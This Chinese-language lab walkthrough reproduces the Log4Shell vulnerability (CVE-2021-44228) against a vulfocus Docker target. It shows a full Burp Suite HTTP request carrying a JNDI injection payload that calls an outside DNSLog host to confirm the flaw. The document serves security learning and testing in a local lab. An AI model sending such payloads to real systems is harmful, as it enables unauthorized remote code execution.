Log4J2 靶场漏洞复现
北京时间12月9号深夜,Apache Log4j2被曝出一个高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未能完全解决问题,现在已经更新到2.15.0-rc2(近日已推出2.16版本)。该漏洞被命名为Log4Shell,编号CVE-2021-44228。相关地址NVD - CVE-2021-44228
本次漏洞复现采用vulfocus的log4j2靶场docker
使用Kali系统进行复现实验
在Kali系统中并未默认安装Docker,可以通过运行以下命令安装
sudo apt-get update && sudo apt-get install docker docker docker-compose -y
是否安装完成Docker可以通过以下命令查看docker 版本
docker -v
如下图便已安装完成
是否安装完成Docker-compose可以通过以下命令查看docker-compose版本
docker-compose version
如下图便已安装完成
之后,我们便可拉取相关镜像靶场
在Vulfocus中有着许多靶场提供可以通过链接查看并学习Docker Hub
#开启docker 的服务
service docker start
#拉取镜像
docker pull vulfocus/log4j2-rce-2021-12-09
通过以下命令查看拉取的镜像
docker images
如下图便已拉取镜像
接下来便是开启Docker
用38080端口替换8080端口进行访问服务
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
接下来打开浏览器输入URL:http://172.17.0.1:38080/hello
看到以下画面便成功访问了
接下来开启BurpSuite,将网页代理改为BurpSuite代理
用Repeater打开
接下来要对其提交内容进行修改
POST /hello HTTP/1.1
Host: 172.17.0.1:38080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://172.17.0.1:38080
DNT: 1
Connection: close
Referer:http://172.17.0.1:38080/hello
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
payload=${jndi:ldap://ts777b.dnslog.cn/exp}
其中ts777b.dnslog.cn这个地址自己生成URL:DNSLog Platform
按下Get SubDomain 便能够生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
回到DNSLog页面刷新Refresh Record
便能查询道靶机递归查询日志的记录。
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
《我的世界》(Minecraft)沙盒游戏便是采用之一,利用其联机服务,便可以通过此CVE-2021-44228漏洞对其中主机进行权限获取